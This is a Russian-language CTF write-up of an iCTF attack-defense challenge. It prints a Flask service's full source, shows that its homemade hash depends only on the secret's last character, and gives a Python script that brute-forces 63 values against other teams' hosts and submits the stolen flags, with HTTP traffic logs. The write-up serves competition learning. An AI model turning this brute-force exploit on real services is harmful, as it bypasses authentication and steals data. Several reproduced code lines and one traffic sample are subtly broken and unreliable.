flasking-unicorns
Так как реверсера в команде из трёх (а потом и двух) не было, продолжаем копать сервисы на Питоне. Второй наш эксплойт пал на web-сервер на движке Flask. Здесь хранились какие-то мемчики про пони, можно было «поймать единорога» — catch_unicorn, «посмотреть единорога» — see_unicorn.
Описание сервиса от организаторов: «Ловите единорогов для фана и выгоды». flag_id — это идентификатор части учетных данных, используемых для просмотра единорогов в сочетании с секретным ключом. Порт — 20009.
Полный листинг программы
#!/usr/bin/env python
import os
import json
import hashlib
import random
import shutil
from tempfile import NamedTemporaryFile
from flask import Flask, request, render_template, render_template_string, redirect, url_for
from urlparse import urlparse
from util import fold_left
import string
app = Flask(__name__)
debug = False
precomputed_hash_table = {}
# Unfortunately in python the hashes of strings are not stable over multiple runs as they are randomized to prevent
# hash table DOS because of collision attacks. Therefore we have to use our own stable implementation to be able to
# match strings between runs.
def ensure_hash_tree():
global precomputed_hash_table
if len(precomputed_hash_table) == 0:
return update_hash_tree()
return True
def update_hash_tree():
global precomputed_hash_table
if not os.path.isfile('../rw/hash_table.json'):
return True
try:
with open('../rw/hash_table.json', 'r') as f:
hash_tree = json.load(f)
precomputed_hash_table.update(hash_tree)
return True
except OSError:
return False
def writeout_hash_tree():
global precomputed_hash_table
with NamedTemporaryFile(dir=os.path.abspath('../rw/'), delete=False) as f:
name = f.name
json.dump(precomputed_hash_table, f)
f.flush()
os.rename(name, '../rw/hash_table.json')
def fast_str_hash(s):
ensure_hash_tree()
precomputed_values = []
for c in s:
if c not in precomputed_hash_table:
update_hash_tree()
if c not in precomputed_hash_table:
h = int(hashlib.sha1(c).hexdigest(), 16)
precomputed_hash_table[c] = h
writeout_hash_tree()
precomputed_values.append(precomputed_hash_table[c])
return fold_left(precomputed_values)(0)(lambda s, v: s + v) & ((0x1 << 64) - 1)
# stolen from django:http.py
def is_safe_url(url, host=None):
"""
Return ``True`` if the url is a safe redirection (i.e. it doesn't point to
a different host and uses a safe scheme).
Always returns ``False`` on an empty url.
"""
if not url:
return False
url = url.strip()
# Chrome treats completely as /
url = url.replace('', '/')
# Chrome considers any URL with more than two slashes to be absolute, but
# urlparse is not so flexible. Treat any url with three slashes as unsafe.
if url.startswith('///'):
return False
url_info = urlparse(url)
# Forbid URLs like http:///example.com - with a scheme, but without a hostname.
# In that URL, example.com is not the hostname but, a path component. However,
# Chrome will still consider example.com to be the hostname, so we must not
# allow this syntax.
if not url_info.netloc and url_info.scheme:
return False
return ((not url_info.netloc or url_info.netloc == host) and
(not url_info.scheme or url_info.scheme in ['http', 'https']))
def get_safe_redirect():
url = request.args.get('next')
if url and is_safe_url(url):
return url
url = request.referrer
if url and is_safe_url(url):
return url
return '/'
def make_background():
return render_template('background.html', redirect=get_safe_redirect(), content="{{content|safe}}")
def error(message=None):
if debug and message is not None:
return render_template_string(make_background(), content=message)
return redirect('/nice_try')
def validate_text(text):
return all(c in string.ascii_letters + string.digits + '_' for c in text)
def validate_secret(s):
return validate_text(s) and len(s) == 32
def validate_flag(s):
return validate_text(s) and len(s) == 16
def validate_flag_id(s):
return validate_text(s)
def store_flag(secret, flag):
flags_dir = os.path.abspath('../append/flags/')
if not os.path.isdir(flags_dir):
os.makedirs(flags_dir)
with NamedTemporaryFile(mode="w+b", dir=flags_dir, prefix='flg', delete=False) as f:
json.dump({'secret': secret, 'flag': flag}, f)
return os.path.basename(f.name)
@app.route("/", methods=["GET"])
@app.route("/index.html", methods=["GET"])
@app.route("/see_unicorn", methods=["GET"])
def see_unicorn():
# import ipdb; ipdb.set_trace()
background = make_background()
if 'id' in request.args and 'secret' in request.args:
flag_id = request.args.get('id', '')
secret = request.args.get('secret', '')
if not validate_flag_id(flag_id) or not validate_secret(secret):
return error('invalid flag_id: {} or secret: {}'.format(list(flag_id), list(secret)))
else:
try:
with open(os.path.abspath('../append/flags/' + flag_id), 'r') as f:
data = json.load(f)
if fast_str_hash(data['secret']) != fast_str_hash(secret):
return error('wrong secret')
else:
fg = render_template('fg_see_unicorn.html', flag=data['flag'], rand_val=random.randint(0, 3))
except Exception as ex:
return error('file {} not found: {}'.format(os.path.abspath('../append/flags/' + flag_id), ex))
else:
fg = render_template('fg_view_unicorn.html')
return render_template_string(background, content=fg)
@app.route("/catch_unicorn", methods=["POST", "GET"])
def catch_unicorn():
# import ipdb; ipdb.set_trace()
background = make_background()
if request.method == 'POST':
secret = request.form.get('secret', '')
flag = request.form.get('name', '')
# print "Secret: {}, Flag: {}".format(secret, flag)
if validate_secret(secret) and validate_flag(flag):
flag_id = store_flag(secret, flag)
fg = render_template('fg_jailed_unicorn.html', flag_id=flag_id, secret=secret, flag=flag)
else:
return error('invalid flag: {} or secret: {}'.format(list(flag), list(secret)))
else:
fg = render_template('fg_catch_unicorn.html')
return render_template_string(background, content=fg)
@app.route("/nice_try", methods=["GET"])
def nice_try():
# import ipdb; ipdb.set_trace()
background = make_background()
return render_template_string(background,
content="<div class="container"><h1>Nice try!</h1>You didn't really think that would work, did you?</div>")
if __name__ == '__main__':
app.run()
и связанный с ним utils.py
import contextlib
import os
import shutil
import tempfile
import random
@contextlib.contextmanager
def cd(newdir, cleanup=lambda: None):
prevdir = os.getcwd()
os.chdir(os.path.expanduser(newdir))
try:
yield
finally:
os.chdir(prevdir)
cleanup()
@contextlib.contextmanager
def tempdir():
dirpath = tempfile.mkdtemp()
def cleanup():
shutil.rmtree(dirpath)
with cd(dirpath, cleanup):
yield dirpath
def _fold(iterable, direction):
firststage = []
ordering = lambda v: v
if direction == 'right':
ordering = reversed
elif direction == 'random':
ordering = lambda array: random.sample(array, len(array))
for v in ordering(iterable):
firststage.append(lambda start, func: func(start, v))
def start_val_stage(start_val):
def func_stage(func):
val = start_val
for l in firststage:
val = l(val, func)
return val
return func_stage
return start_val_stage
def fold_left(iterable):
return _fold(iterable, 'left')
def fold_right(iterable):
return _fold(iterable, 'right')
def fold(iterable):
return _fold(iterable, 'random')
Судя по комментариям в коде, автор остался недоволен системой хэширования в Python’е, так как это небезопасно и слишком предсказуемо, поэтому написал свою реализацию на основе предварительно сгенерированных хэш-таблиц.
def fast_str_hash(s):
ensure_hash_tree()
precomputed_values = []
for c in s:
if c not in precomputed_hash_table:
update_hash_tree()
if c not in precomputed_hash_table:
h = int(hashlib.sha1(c).hexdigest(), 16)
precomputed_hash_table[c] = h
writeout_hash_tree()
precomputed_values.append(precomputed_hash_table[c])
return fold_left(precomputed_values)(0)(lambda s, v: s + v) & ((0x1 << 64) - 1)
Она добавляет sha1-хэш неизвестного системе до этого символа в json-файл. Затем выполняется ужасная функция fold_left, и вот мы получаем в итоге «уникальный цифровой хэш» для каждого слова.
def _fold(iterable, direction):
firststage = []
for v in ordering(iterable):
firststage.append(lambda start, func: func(start, v))
def start_val_stage(start_val):
def func_stage(func):
val = start_val
for l in firststage:
val = l(val, func)
return val
return func_stage
return start_val_stage
Затем вся эта прелесть записывается через функцию NamedTemporaryFile в файл вормата flg_%trash%. Содержание следующее:
{
"secret": "6x3za8YTGJMkyMLPQXMtZRGcACqgiH38",
"flag": "FLGZRSzFBw6n61wJ"
}
Длина секрета должна быть 32, флага – 16.
В чём же была уязвимость?
В этой функции _fold. Если запустить её отдельно и потестировать на отдельных примерах, то становится понятно — весь хэш функции зависит только от последней буквы. Убедимся:
print(fast_str_hash('XjWPxCSc8JUAZtrjwxslasOJjQ2P8N1t')) # другой хэш
print(fast_str_hash('XjWPxCSc8JUAZtrjwxslasOJjQ2P8N1x')) # хэш одинаковый
print(fast_str_hash('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaax')) # хэш одинаковый
Из функции validate_text узнаём, что всего возможно 63 возможных хэша (26 букв нижнего + 26 букв верхнего регистров, 10 цифр и ‘_’). Разумеется, «брутфорс» из 63 это уже что-то. Организаторы говорили нам, что неверно ищем флаги, можно избежать этого, но как-то не додумали этот вопрос и остановились на подборе. Словарь маленький, всё просто.
Итак, эксплойт:
-
Подключаемся к нашему веб-серверу через requests (модуль для работы с HTTP в Python)
-
Делаем брут по словарю на запрос http://ip:port/?id=flag_id&secret=hash , где flag_id нам уже известен, hash — строка из 32 символов, последний постоянно меняем.
-
Если в ответ мы получаем слово Ah, {{flag}} is as gorgeous as ever! (мы просто брали подстрочку “Ah,“) то затем выдёргиваем следующее слово (которое и есть наш флаг)
-
Отправляем его на сервер жюри
Код эксплойта на языке Python:
from ictf import iCTF
import json
import requests
import string
i = iCTF()
t = i.login('EMAIL', 'PASSWORD')
alph = string.ascii_letters + "_" + string.digits
bad = []
while 1:
try:
tmp = t.get_targets(10009)
for team in tmp['targets']:
if team['hostname'] not in bad:
issub = 0
for c in alph:
try:
r = requests.get('http://{}:{}/?id={}&secret={}'.format(team['hostname'], team['port'], team['flag_id'], "z"*31+c), timeout=2)
except requests.exceptions.RequestException:
break
if "Ah, " in r.text:
issub = 1
a = r.text.find('FLG')
kaef = t.submit_flag(list([r.text[a:a+16]]))
print(kaef)
print(r.text[a:a+16])
break
if issub == 0:
bad.append(team['hostname'])
print("Bad team detected: %s" % team['team_name'])
if(len(bad) > 200):
print("Flushing bad...")
bad = []
except Exception as ex:
print(ex)
Так как раунд шёл в среднем по 6-8 минут, команд надо было опросить свыше 300, мы решили завести «блеклист» команд, которые слишком долго отвечают на запросы. Также были убраны команды, которые не удалось взломать. Благодаря этому, наш скрипт заработал в полную силу и мы начали стремительно подниматься вверх.
Как это выглядело в виде сетевого трафика (мы красные, сервер синий):
При неудачном запросе:
GET /see_unicorn?secret=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab&id=flg8Cu5yj HTTP/1.1
Host: team130:20009
Accept-Encoding: gzip, deflate, compress
Accept: */*
User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-107-generic
HTTP/1.1 302 FOUND
Date: Sat, 04 Mar 2017 14:34:38 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 225
Location: http://team130:20009/nice_try
Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/nice_try">/nice_try</a>. If not click the link.
При удачном запросе:
GET /see_unicorn?secret=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab&id=flg8Cu5yj HTTP/1.1
Host: team130:20009
Accept-Encoding: gzip, deflate, compress
Accept: */*
User-Agent: python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-107-generic
HTTP/1.1 200 OK
Date: Sat, 04 Mar 2017 14:34:38 GMT
Server: Apache/2.4.7 (Ubuntu)
Content-Length: 225
Location: http://team130:20009/see_unicorn
Content-Type: text/html; charset=utf-8
<div class="container">
<h1>Ah, FLGDqdj2PgqW010F is as gorgeous as ever!</h1>
<img src="static/unicorn_{{rand_val}}.jpg">
</div>